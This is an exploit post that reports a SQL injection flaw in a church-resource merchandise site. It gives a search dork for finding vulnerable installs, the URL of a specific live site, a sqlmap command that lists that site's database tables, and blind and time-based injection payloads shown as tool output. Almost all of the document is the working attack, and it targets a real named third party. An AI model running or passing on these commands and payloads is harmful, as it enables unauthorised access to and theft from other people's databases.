# Exploit Title:Ministryfocusets SQL Injection
//////////////////////////////////////////////////////
# Date:18.05.2019
//////////////////////////////////////////////////////
# Dork :intitle:"Ministry Focus ETS - The pastor resource site for "Equipping the Saints" id=
//////////////////////////////////////////////////////
# Exploit Author:Cerkuday
//////////////////////////////////////////////////////
# Tested on:Windows &Kali Linux
//////////////////////////////////////////////////////
Demo:
http://ministryfocusets.com/merchandise/index.php?cat=1
//////////////////////////////////////////////////////
# Poc:
sqlmap.py -u "http://ministryfocusets.com/merchandise/index.php?cat=1" --random-agent -D ministry_gkgwcm --tables
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 2340=2340
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: cat=1 AND SLEEP(5)
---